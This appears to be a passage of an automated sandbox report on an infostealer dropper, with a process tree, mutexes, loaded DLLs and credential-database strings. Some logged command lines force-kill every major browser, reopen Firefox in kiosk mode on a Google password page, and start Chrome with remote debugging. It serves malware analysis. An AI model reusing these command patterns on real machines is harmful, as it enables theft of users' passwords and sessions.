Source: e5323e2eed.exe.6.dr	Static PE information: Section: yeceswnp ZLIB complexity 0.9946972032791642
Source: random[1].exe0.6.dr	Static PE information: Section: ZLIB complexity 0.997402279290429
Source: random[1].exe0.6.dr	Static PE information: Section: wlfzarvz ZLIB complexity 0.9942631786856534
Source: 51d383286f.exe.6.dr	Static PE information: Section: ZLIB complexity 0.997402279290429
Source: 51d383286f.exe.6.dr	Static PE information: Section: wlfzarvz ZLIB complexity 0.9942631786856534
Source: random[1].exe1.6.dr	Static PE information: Section: efutjbgc ZLIB complexity 0.9948830133051104
Source: 8ab7de79e4.exe.6.dr	Static PE information: Section: efutjbgc ZLIB complexity 0.9948830133051104

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@61/27@35/15

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7096
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2780:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6984:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5792:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1196:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6400:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7292:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: 8ab7de79e4.exe, 00000009.00000002.3483431837.000000001DB06000.00000004.00000020.00020000.00000000.sdmp, 8ab7de79e4.exe, 00000009.00000002.3532834449.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 8ab7de79e4.exe, 00000009.00000002.3483431837.000000001DB06000.00000004.00000020.00020000.00000000.sdmp, 8ab7de79e4.exe, 00000009.00000002.3532834449.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 8ab7de79e4.exe, 00000009.00000002.3483431837.000000001DB06000.00000004.00000020.00020000.00000000.sdmp, 8ab7de79e4.exe, 00000009.00000002.3532834449.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 8ab7de79e4.exe, 00000009.00000002.3483431837.000000001DB06000.00000004.00000020.00020000.00000000.sdmp, 8ab7de79e4.exe, 00000009.00000002.3532834449.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: 8ab7de79e4.exe, 00000009.00000002.3483431837.000000001DB06000.00000004.00000020.00020000.00000000.sdmp, 8ab7de79e4.exe, 00000009.00000002.3532834449.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 8ab7de79e4.exe, 00000009.00000002.3483431837.000000001DB06000.00000004.00000020.00020000.00000000.sdmp, 8ab7de79e4.exe, 00000009.00000002.3532834449.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: 8ab7de79e4.exe, 00000009.00000002.3483431837.000000001DB06000.00000004.00000020.00020000.00000000.sdmp, 8ab7de79e4.exe, 00000009.00000002.3532834449.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 51d383286f.exe, 00000008.00000003.2990382227.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2972861649.0000000005E64000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2973268764.0000000005E45000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2990502177.0000000005E5F000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146109777.00000000058B4000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146597961.0000000005895000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3163226615.00000000058C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 8ab7de79e4.exe, 00000009.00000002.3483431837.000000001DB06000.00000004.00000020.00020000.00000000.sdmp, 8ab7de79e4.exe, 00000009.00000002.3532834449.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: 8ab7de79e4.exe, 00000009.00000002.3483431837.000000001DB06000.00000004.00000020.00020000.00000000.sdmp, 8ab7de79e4.exe, 00000009.00000002.3532834449.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe

ReversingLabs: Detection: 57%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: e5323e2eed.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 51d383286f.exe	String found in binary or memory: "app.update.lastUpdateTime.recipe-client-addon-run", 1696426836); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837); user_pref("app.update.lastUpdateTime.xpi-signatur

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe "C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe "C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe "C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe "C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe "C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe"
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2428 --field-trial-handle=2072,i,121211281076479918,13658437457281911458,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2196 -parentBuildID 20230927232528 -prefsHandle 2132 -prefMapHandle 2124 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {54f0d578-7687-4d9a-a389-223f0b364265} 7296 "\\.\pipe\gecko-crash-server-pipe.7296" 1d15de6f310 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe "C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4492 -parentBuildID 20230927232528 -prefsHandle 4480 -prefMapHandle 3868 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {33f45843-65c2-451a-8a05-3d08bc417555} 7296 "\\.\pipe\gecko-crash-server-pipe.7296" 1d1703def10 rdd
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe "C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe"
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7096 -s 1568
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe "C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe"
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe "C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe "C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe "C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe "C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe "C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2428 --field-trial-handle=2072,i,121211281076479918,13658437457281911458,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2196 -parentBuildID 20230927232528 -prefsHandle 2132 -prefMapHandle 2124 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {54f0d578-7687-4d9a-a389-223f0b364265} 7296 "\\.\pipe\gecko-crash-server-pipe.7296" 1d15de6f310 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4492 -parentBuildID 20230927232528 -prefsHandle 4480 -prefMapHandle 3868 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {33f45843-65c2-451a-8a05-3d08bc417555} 7296 "\\.\pipe\gecko-crash-server-pipe.7296" 1d1703def10 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Section loaded: winmm.dll	Jump to behavior
